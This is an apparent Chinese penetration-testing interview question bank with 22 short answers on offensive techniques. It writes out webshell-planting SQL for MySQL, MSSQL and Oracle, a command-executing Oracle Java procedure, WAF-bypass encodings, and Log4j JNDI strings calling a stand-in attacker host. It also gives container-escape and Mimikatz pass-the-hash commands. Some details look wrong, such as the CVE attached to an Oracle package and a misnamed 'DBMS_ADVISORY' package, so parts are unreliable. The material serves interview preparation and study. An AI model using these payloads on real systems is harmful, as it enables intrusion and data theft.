2025年渗透测试面试题总结-拷打题库38(题目+回答)
网络安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。
目录
2025年渗透测试面试题总结-拷打题库38
1. APP测试经验
核心要点
2. Xposed框架与App解密
扩展分析
3. SQL注入写马方式
技术细节
4. Oracle注入直接利用方式
非注入攻击路径
5. 绕过语义检测WAF
绕过技巧
6. 安全Response头配置
关键头信息
7. Cobalt Strike域前置原理与流量路径
流程详解
8. Kerberos认证流程
认证三阶段
9. Log4j绕过TrustCodeBase
绕过方法
10. SpringBoot+Shiro渗透思路
攻击链
11. 判断Fastjson版本
实战技巧
12. Fastjson文件读写Gadget
利用链分析
13. Spring4Shell(CVE-2022-22965)
漏洞利用
14. 后台登录框利用思路
攻击面扩展
15. 安卓RCE思路
攻击场景
16. 攻击Cloud环境App
云服务利用
17. K8s与Docker攻击方式
攻击链分析
18. CS域前置与云函数配置
部署流程
19. 内网设备利用(Hadoop/Kibana)
攻击路径
20. 攻击Redis的Linux系统差异
利用差异
21. SQL注入返回长度限制解决
截取方法
22. Windows10 PTH利用
绕过限制
2025年渗透测试面试题总结-拷打题库38
说说你APP测试的经验 xposed用的什么框架,有没有自己写过app解密 sql注入写马有哪些方式? oracle注入除了注入之外有哪些直接利用的方式? 如何绕过基于语义检测的waf,比如雷池,阿里云waf等 信息安全相关的返回 response 头 cs 域前置的原理?流量是怎么通信的?从我直接执行一个命令,例如 whoami,然后到 机器上,中间的流量是怎么走的? kerberos 原理 log4j 如何绕过 trustcodebase Springboot+shiro 环境如何进行渗透 实战中如何判断 fastjson 的版本 Fastjson 文件读写 gadget 是哪条,原理是什么 Spring4shell 原理&检测&利用 给一个后台登录框有什么利用思路 安卓系统如何进行 rce,有什么思路 给一个移动端的 app,已知服务端是 cloud 环境,有什么思路利用 k8s 和 docker 如何去做攻击 有哪些利用方式 是什么原因导致的 cs 的域前置和云函数如何去配置 内网攻击的时候 内网有那些设备可以利用 (hadoop kibana 之类的设备) 攻击 redis 不同的 linux 系统有什么不同 sql 注入的时候,如果遇到了返回的时候长度不够,怎么解决,如何截取,用什么函数截 取 windows10上面的pth怎么利用
1. APP测试经验
核心要点
- 功能测试:
- 覆盖安装/卸载、UI交互、权限申请、多设备适配等场景。
- 使用自动化工具(Appium、MonkeyRunner)进行压力测试。
- 安全测试:
- 反编译APK(Jadx、JEB)分析硬编码密钥、敏感逻辑(如加密算法)。
- 检测HTTP/HTTPS请求是否未校验证书(SSL Pinning绕过)。
- 性能测试:
- 通过Android Profiler监控内存泄漏、CPU占用率及ANR问题。
- 使用Frida动态Hook分析Native层性能瓶颈。
2. Xposed框架与App解密
扩展分析
- Xposed框架选择:
- LSPosed:基于Riru的模块化框架,支持Android 12+。
- EdXposed:兼容性较好,但已停止维护。
- App解密实战:
- 场景:Hook网络库(OkHttp3)拦截加密请求/响应,动态修改算法参数。
- 案例:针对某金融App,通过Hook
javax.crypto.Cipher.init()
获取AES密钥。- 自定义模块开发:
- 编写Xposed模块解密加固App(如360加固),定位
Application
类的attachBaseContext
方法。
3. SQL注入写马方式
技术细节
- MySQL:
SELECT '<?php @eval($_POST[cmd]);?>' INTO OUTFILE '/var/www/html/shell.php'
。- 前提:需要
FILE
权限及Web目录可写。- MSSQL:
- 启用
xp_cmdshell
执行echo
命令写入Web目录:sql
EXEC xp_cmdshell 'echo ^<^%eval request("cmd")%^>^ > C:\inetpub\shell.asp'
- Oracle:
- 利用
UTL_FILE
包写入文件(需DBA权限):sql
DECLARE fh UTL_FILE.FILE_TYPE; BEGIN fh := UTL_FILE.FOPEN('WEB_DIR', 'shell.jsp', 'W'); UTL_FILE.PUT_LINE(fh, '<%@page import="java.lang.*"%><% Runtime.getRuntime().exec(request.getParameter("cmd"));%>'); UTL_FILE.FCLOSE(fh); END;
4. Oracle注入直接利用方式
非注入攻击路径
- 权限提升:
- 利用
DBMS_CDC_IPUBLISH
包的漏洞(CVE-2012-3137)获取DBA权限。- 系统命令执行:
- 通过Java存储过程调用
Runtime.exec()
:sql
CREATE OR REPLACE JAVA SOURCE NAMED "Exec" AS import java.io.*; public class Exec { public static void run(String cmd) throws IOException { Runtime.getRuntime().exec(cmd); }};
- 文件系统访问:
- 使用
DBMS_ADVISORY
读取敏感文件(需CREATE ANY DIRECTORY
权限)。
5. 绕过语义检测WAF
绕过技巧
- 编码混淆:
- Unicode编码:
SEL%u0045CT
→SELECT
;Hex编码:0x53454C454354
。- 注释分割:
- 内联注释:
SEL/*!88888abc*/ECT
;换行符:SEL%0aECT
。- 协议特性:
- HTTP分块传输:将Payload分块发送,绕过正则匹配。
- 利用数据库特性:如MySQL的
/*!50000SELECT*/
语法绕过版本检测。
6. 安全Response头配置
关键头信息
- CSP(Content Security Policy):
Content-Security-Policy: default-src 'self'
防止XSS和数据泄露。- HSTS(HTTP Strict Transport Security):
Strict-Transport-Security: max-age=31536000; includeSubDomains
强制HTTPS。- 安全头组合:
X-Content-Type-Options: nosniff
阻止MIME类型嗅探;X-Frame-Options: DENY
防止点击劫持。
7. Cobalt Strike域前置原理与流量路径
流程详解
- 域前置(Domain Fronting):
- 原理:利用CDN(如Cloudflare)将流量转发到真实C2服务器,HTTPS请求的SNI字段与Host头分离。
- 配置:在C2配置中设置合法域名(如
google.com
),实际解析到攻击者IP。- 流量路径示例:
- 用户执行
whoami
→ Beacon加密数据 → 通过Cloudflare转发 → C2服务器解密并执行命令 → 结果回传。
8. Kerberos认证流程
认证三阶段
- AS-REQ/AS-REP:
- 用户向AS(Authentication Server)请求TGT(Ticket Granting Ticket)。
- TGS-REQ/TGS-REP:
- 使用TGT向TGS(Ticket Granting Service)申请服务票据(ST)。
- AP-REQ/AP-REP:
- 用户向服务端提交ST,服务端验证票据有效性。
9. Log4j绕过TrustCodeBase
绕过方法
- 利用其他JNDI协议:
- 如
ldap://
、rmi://
,结合jndi:ldap://attacker.com/Exploit
。- 上下文参数注入:
${ctx:user}${jndi:ldap://attacker.com}
动态拼接恶意URL。- 环境变量触发:
- 通过
${env:USER}
触发二次解析,绕过黑名单检测。
10. SpringBoot+Shiro渗透思路
攻击链
- Shiro反序列化:
- 利用硬编码密钥解密RememberMe Cookie,构造CommonsBeanutils1 Gadget执行命令。
- 权限绕过:
- 路径遍历绕过鉴权:
/;/admin
→ 匹配/admin
权限规则失败。- 结合Spring Boot Actuator:
- 未授权访问
/actuator/env
获取数据库密码,进一步利用数据库漏洞。
11. 判断Fastjson版本
实战技巧
- 报错信息法:
- 发送非法JSON触发异常,观察错误信息中的版本号。
- DNSLog探测:
- 构造Payload:
{"@type":"java.net.Inet4Address","val":"dnslog.xxx"}
。- 特征函数法:
- 测试
AutoCloseable
特性(1.2.25+支持)。
12. Fastjson文件读写Gadget
利用链分析
- TemplatesImpl链:
- 通过
_bytecodes
字段加载恶意字节码,触发getOutputProperties()
执行代码。- JdbcRowSetImpl链:
- 利用JNDI注入(需出网),触发
setAutoCommit()
连接恶意LDAP服务。
13. Spring4Shell(CVE-2022-22965)
漏洞利用
- 原理:
- 数据绑定漏洞通过
class.module.classLoader
修改Tomcat日志路径,写入Webshell。- 检测:
- 发送请求修改
class.module.classLoader.resources.context.parent.pipeline.first.directory
参数,观察是否返回400错误。- 利用:
- 修改日志文件名为
shell.jsp
,写入JSP Webshell内容。
14. 后台登录框利用思路
攻击面扩展
- 弱口令爆破:
- 使用字典(admin/admin123)结合Burp Intruder爆破。
- 密码重置漏洞:
- 绕过验证码(重放攻击)、修改手机号参数(如
mobile=attacker_phone
)。- OAuth劫持:
- 伪造OAuth回调地址,窃取合法用户会话令牌。
15. 安卓RCE思路
攻击场景
- Intent注入:
- 利用
startActivityForResult
未校验的Intent
数据,启动恶意组件。- 动态加载Dex:
- 通过
DexClassLoader
加载远程Dex文件执行恶意代码。- JNI层漏洞:
- 利用Native库缓冲区溢出(如CVE-2021-0316)提权。
16. 攻击Cloud环境App
云服务利用
- 存储桶错误配置:
- 利用AWS S3 Bucket未授权访问,上传Webshell或窃取数据。
- Serverless函数注入:
- 通过Lambda函数环境变量获取AK/SK,横向控制其他服务。
- API密钥泄露:
- 从客户端代码或日志中提取云服务凭证,接管控制台权限。
17. K8s与Docker攻击方式
攻击链分析
- 未授权访问:
- K8s API Server未鉴权(6443端口),直接创建恶意Pod。
- 特权容器逃逸:
- 挂载宿主机根目录:
docker run -v /:/host
,利用chroot
逃逸。- 敏感配置泄露:
- 从
/var/lib/kubelet/pods
窃取Service Account Token。
18. CS域前置与云函数配置
部署流程
- 域前置配置:
- 在云函数(如AWS Lambda)绑定合法域名,C2 Profile设置CDN回源地址。
- 流量路径:
- 用户请求
https://合法域名/api
→ 云函数转发至真实C2 → 加密通信。
19. 内网设备利用(Hadoop/Kibana)
攻击路径
- Hadoop未授权访问:
- 利用
/ws/v1/cluster/apps
提交恶意YARN任务执行命令。- Kibana CVE-2019-7609:
- 原型链污染漏洞,通过Timelion插件执行任意代码。
- Redis未授权访问:
- 写入SSH公钥或Webshell,通过
CONFIG SET dir
修改路径。
20. 攻击Redis的Linux系统差异
利用差异
- CentOS/RHEL:
- 默认无AppArmor,可通过
crontab
写入定时任务。- Ubuntu:
- AppArmor限制Redis写文件路径,需利用
/proc/self/environ
泄露信息。- Alpine:
- 轻量级环境缺少
bash
,需使用sh
或wget
替代。
21. SQL注入返回长度限制解决
截取方法
- 分页截取:
SUBSTRING((SELECT user()),1,10)
→ 分多次获取完整数据。- 二分法:
- 结合
ASCII()
和BETWEEN
逐步缩小字符范围。- 报错注入:
- 利用
exp()
函数溢出(MySQL)或CTE
递归(MSSQL)绕过长度限制。
22. Windows10 PTH利用
绕过限制
- AES密钥替代NTLM:
- 使用Mimikatz抓取AES密钥(
sekurlsa::ekeys
),通过sekurlsa::pth
注入。- SMB签名绕过:
- 利用PetitPotam强制域控发起NTLM认证,中继至其他服务。
- 受限管理员模式:
- 启用
RestrictedAdmin
注册表项,允许RDP登录不暴露凭据。